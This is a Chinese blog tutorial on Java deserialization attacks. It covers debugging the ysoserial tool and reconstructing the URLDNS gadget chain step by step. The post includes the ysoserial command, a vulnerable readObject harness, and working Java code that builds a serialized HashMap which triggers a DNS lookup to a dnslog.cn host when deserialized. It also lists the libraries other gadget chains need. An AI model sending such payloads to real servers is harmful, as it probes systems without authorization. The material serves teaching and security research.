JAVA3-ysoserial调试和构造URLDNS的pop链

这是java代码审计入门的第三篇,其实才算真的入门了一点java代码审计的皮毛
如果大家对java一点都不懂,还是建议看本博客前2篇关于反序列化反射的基础知识

1.ysoserial

1.1. ysoserial项目介绍

在p牛的知识星球中将yso这个工具定义为里程碑式的工具,https://github.com/frohoff/ysoserial

2015年Gabriel Lawrence (@gebl)和Chris
Frohoff (@frohoff)在AppSecCali上提出了利⽤Apache Commons Collections来构造命令执⾏的利⽤
链,并在年底因为对Weblogic、JBoss、Jenkins等著名应⽤的利⽤,⼀⽯激起千层浪,彻底打开了⼀⽚
Java安全的蓝海。
⽽ysoserial就是两位原作者在此议题中释出的⼀个⼯具,它可以让⽤户根据⾃⼰选择的利⽤链,⽣成反
序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令。

简单来说,因为java序列化后的数据为不可见字符,不方便构造,所以此项目仅仅是一个帮你生成反序列化poc的脚本,不提供反序列化的点,可以这么来说反序列化攻击相当于使用枪命中敌人,ysoserial可以认为是制作子弹的机器,最终发射命中不归子弹管
一些payload对应的库

CommonsBeanutilsCollectionsLogging1所需第三方库文件: commons-beanutils:1.9.2,commons-collections:3.1,commons-logging:1.2
CommonsCollections1所需第三方库文件: commons-collections:3.1
CommonsCollections2所需第三方库文件: commons-collections4:4.0
CommonsCollections3所需第三方库文件: commons-collections:3.1(CommonsCollections1的变种)
CommonsCollections4所需第三方库文件: commons-collections4:4.0(CommonsCollections2的变种)
Groovy1所需第三方库文件: org.codehaus.groovy:groovy:2.3.9
Jdk7u21所需第三方库文件: 只需JRE版本 <= 1.7u21
Spring1所需第三方库文件: spring框架所含spring-core:4.1.4.RELEASE,spring-beans:4.1.4.RELEASE

1.2. ysoserial尝尝鲜

ysoserial的使用也非常简单

1
java -jar ysoserial.jar [payload] '[command]'

其中payload是我们选取模块的名字,比如我们来尝试使用URLDNS模块,命令为ping dnslog的一个记录

1
java -jar ysoserial.jar URLDNS 'http://yso.2ihodi.dnslog.cn' > yso.bin


因为yso回显的是不可见字符,一般是使用管道符输出到文件或者base64,可以拿二进制编辑器查看生成的内容
网上有很多分析序列化字节流结构的文章,这里就不展开
我们已经拿到了yso.bin,此时我们需要找到一个反序列化的点,自己写一个模拟环境

1
2
3
4
5
6
7
8
9
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class Helloworld{
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("yso.bin"));
ois.readObject();
}
}

运行即会有dns请求,这里代码并不需要反序列化为某个具体对象而是直接调用readObject即可,这也就意味着java反序列化的类并不需要和上下文声明的一一对应,因为我们只是调用反序列化中必经之函数,read0bject();

我们可以举个最简单的例子

1.3. ysoserial调试

我们现在来调试一下ysoserial,其实主要是看你idea熟不熟了,之前做了一年多java开发,还算熟悉了一点点idea,用起来还算顺手
1、首先我们直接git clone https://github.com/frohoff/ysoserial.git,然后用idea打开,直接open文件夹即可
当然一开始估计会有很多红色(报错),一个个解决即可,有什么问题把报错丢谷歌基本没啥问题。
2、因为这是一个maven项目,首先你要看你配置的maven是否有问题,idea自带了maven,建议使用自带的,因为后期删除卸载方便
在setting->Build,Execution,Deployment->Build Tools->Maven里配置即可

然后右键根目录下的pom.xml,maven->import即可自动导入包,如果很慢可以换源,给个之前教程idea的maven换源操作
3、找到入口函数src/main/java/ysoserial/GeneratePayload,如果一切正常,会有一个运行的小箭头直接run,如果没有那是项目jdk没有配置,在setting->project structure->project setting->Project配置即可
4、正常运行GeneratePayload后会得到一些Usage,因为还没加参数

5、添加参数操作,点击运行左边的选项1,里面有一个edit->configuration,然后在2处填写参数即可

再次运行

6、调试,只需要在我们需要打断点的地方左边点一下出现一个红点,然后点debug按钮即可

再次运行即可调试,能看到调用栈和参数,另外具体调试技巧参见IDEA debug断点调试技巧

idea一些快捷键

1
2
3
4
5
6
7
8
Ctrl+Shift+I idea查看函数定义 
Ctrl + P 查看参数的信息
Ctrl + Q 示某个类或者方法的 API 说明文档
Ctrl + O 展示该类中所有覆盖或者实现的方法列表,注意这里是字母小写的 O!
Ctrl + W 选中当前光标所在的代码块,多次触发,代码块会逐级变大。(常用)
Ctrl + Shift + W 是 Ctrl + W 的反向操作
Ctrl + Alt + L 格式化代码 (常用)
Ctrl + Alt + O 去除没有实际用到的包

1.4. ysoserial项目结构分析

我们暂时只看源码部分,本部分给打算二次开发yso的师傅做一个入门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
│  GeneratePayload.java {{生成poc的入口函数}}
│ Deserializer.java {{反序列化模块}}
│ Serializer.java {{序列化模块}}
│ Strings.java {{字符处理模块}}

├─exploit {{一些直接调用的exp}}
│ JBoss.java
│ JenkinsCLI.java
│ JenkinsListener.java
│ ......

├─payloads {{生成gadget poc的代码}}
│ │ CommonsBeanutils1.java
│ │ URLDNS.java
│ │ .....
│ │
│ ├─annotation {{一些不重要的配置}}
│ │ Authors.java
│ │
│ └─util {{一些重复使用的单元}}
│ ClassFiles.java
│ Gadgets.java

└─secmgr {{和安全有关的管理}}
DelegateSecurityManager.java
ExecCheckingSecurityManager.java

其实我感觉这几个师傅
入口函数是GeneratePayload.java

在①处接受2个参数比如 URLDNS 'http://www.baidu.com',然后②处获得poc模块的类,这里就是上面的URLDNS.java类,然后③处实例化poc类以及将第二个参数传入类中,④处序列化一次然后输出

确实很简单,我们可以再看一下②处获得类如何写的,我们这里以URLDNS为例调试,我们跟进getPayloadClass

很明显其实就是用反射,通过模块名获得类。至于具体哪个类如何实现,需要针对特定poc讲解,对于ysoserial的结构分析就到这里。

P牛说对于未知的事物原理充满好奇喜欢翻翻源码,多调试调试,而不是直接从网上看二手或者某SDN上n手的文章。自己调试其中的奥秘,才是后浪应该具备的探索精神

2.java反序列化的pop链思想

很久之前聊过pop链的思想,传送门

面向属性编程(Property-Oriented Programing) 用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链来执行一些操作。
ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集
POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。
二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,前提:进行反序列化的数据能够被用户输入所控制。

狸猫换太子-偷梁换柱
简单一点就是某个类有某个属性A,这个属性有一个正常函数B,然而另外也有一个属性C,这个属性拥有一个恶意函数也叫B.
当我们构造这个类的时候,如果将A换成了C,那么这波将绝杀,可惜换不得。我们可以利用反序列化构造换成C,达到我们的目的

3.URLDNS的pop链

P牛说URLDNS的pop链相当简单,经过分析后确实。前面我们已经使用yso测试URLDNS的pop链构造。这里主要分析一下原因

3.1.知识储备之hashmap

hashmap在很多java面试中成为了必问的话题,也是蛮有意思的话题,这里就不过多讲解hashmap,储备知识参考https://www.jianshu.com/p/ee0de4c99f87
首先java中几乎所有类有一个hashcode函数来计算散列结果,比如

1
2
String s="helloworld";
System.out.println(s.hashCode());

而hashmap其实就是使用了一次hashcode,然后用键的hashcode相关值和 键对应的值形成一个map
hashmap使用

1
2
3
4
5
6
7
8
9
10
HashMap<String, String> map = new HashMap<String, String>();
// 键不能重复,值可以重复
map.put("san", "张三");
map.put("si", "李四");
map.put("wu", "王五");
map.put("wang", "老王");
map.put("wang", "老王2");// 老王被覆盖
map.put("lao", "老王");
System.out.println("-------直接输出hashmap:-------");
System.out.println(map);

我们跟进put函数

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

先跟进hash函数

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

发现和hashCode相关。也就意味着当我们使用hashmap的put的时候,key会调用->hash(key)->然后调用key.hashCode()

3.2.手动构造URLDNS的pop链请求

回过头来,我们想一下URLDNS为什么会发出dns查询请求
我们在URL类中发现了

1
2
3
4
5
6
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}

跟进handler.hashCode()

1
2
3
4
5
6
7
8
9
10
11
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
...........

跟进getHostAddress(u)

1
2
3
4
5
6
7
8
9
10
11
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;

String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
.........................................

而InetAddress.getByName(host)就是DNS请求了

那么就清楚了,调用链->map.put(Url,XX)->URL.hashCode->handler.hashCode->getHostAddress(u)->u.getHost();发出请求,那么我们就可以简单构造一下

1
2
3
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL test_url=new URL("http://urldns_test.wtnzpa.dnslog.cn");
hashMap.put(test_url, "22222");


然而我们现在只是用hashmap来产生dns请求,和反序列化无关,我们现在分析一下hashmap的反序列化。
我们前往HashMap.java

1
2
3
4
5
6
7
8
9
10
11
12
13
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
.........................
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

发现每个值也会调用hash,然后如果key为URL类型就会掉入前面URLDNS的链中,那么我们现在非常方便写代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static void main(String[] args) throws Exception{
//0x01.生成payload
//设置一个hashMap
HashMap<URL, String> hashMap = new HashMap<URL, String>();
//设置我们可以接受DNS查询的地址
URL url = new URL("http://jkkkkk.qxlrj2.dnslog.cn\n");
//将URL的hashCode字段设置为允许修改
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
//**以下的蜜汁操作是为了不在put中触发URLDNS查询,如果不这么写就会触发两次(之后会解释)**
//1. 设置url的hashCode字段为0xdeadbeef(随意的值)
f.set(url, 0xdeadbeef);
//2. 将url放入hashMap中,右边参数随便写
hashMap.put(url, "rmb122");
//修改url的hashCode字段为-1,为了触发DNS查询(之后会解释)
f.set(url, -1);
//0x02.写入文件模拟网络传输
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
//0x03.读取文件,进行反序列化触发payload
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}

可以分成2部分,一部分是序列化,然后最后两行是反序列化
这里有一个有意思的点是为了不让put的时候触发请求,我们先使用了f.set(url, 0xdeadbeef);这是为什么?

我们分析URL的hashCode

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

发现hashCode不为-1的时候才调用handler.hashCode(),而hashCode定义为private int hashCode = -1;默认为-1,我们要在构造的时候不请求,我们在put之前set为非-1,注意在put结束后要恢复到-1,否则反序列化的时候也不会请求。
那我们的利用链简化就是

HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()

3.3.分析ysoserial中URLDNS利用链

现在我们可以分析一下ysoserial这个玩意的URLDNS利用链
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

我们分析一下两个问题,一个为什么能成功,一个是为什么构造过程没有dns请求(orz膜大佬)
成功问题很简单,构造了一个hashmap对象然后返回,对这个对象的序列化和反序列化在其他地方处理。暂且不管
有趣的是我们研究一下为什么在构造对象的时候不会有冗余的请求
我们发现作者的URL构造函数用了三个参数,我们查看URL源码,三个参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/**
* Creates a URL by parsing the given spec with the specified handler
* within a specified context. If the handler is null, the parsing
* occurs as with the two argument constructor.
*
* @param context the context in which to parse the specification.
* @param spec the {@code String} to parse as a URL.
* @param handler the stream handler for the URL.
* @exception MalformedURLException if no protocol is specified, or an
* unknown protocol is found, or {@code spec} is {@code null}.
* @exception SecurityException
* if a security manager exists and its
* {@code checkPermission} method doesn't allow
* specifying a stream handler.
* @see java.net.URL#URL(java.lang.String, java.lang.String,
* int, java.lang.String)
* @see java.net.URLStreamHandler
* @see java.net.URLStreamHandler#parseURL(java.net.URL,
* java.lang.String, int, int)
*/
public URL(URL context, String spec, URLStreamHandler handler)

按照前面说的,我们URL链是

HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()

如果我们传入的handler为自己改写的,且getHostAddress()返回空

1
2
3
4
5
6
7
8
9
10
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

那我们在put的时候,调入getHostAddress()的时候就不会发送请求。
那么为什么在反序列化的时候会有请求呢,因为之前说过序列化和反序列化只记录类的属性,而函数内容不管,这是为什么pop链能构造起来。卧槽这个作者是把java源码吃肚子里了么。不得不佩服,大佬的代码炫酷而不失优雅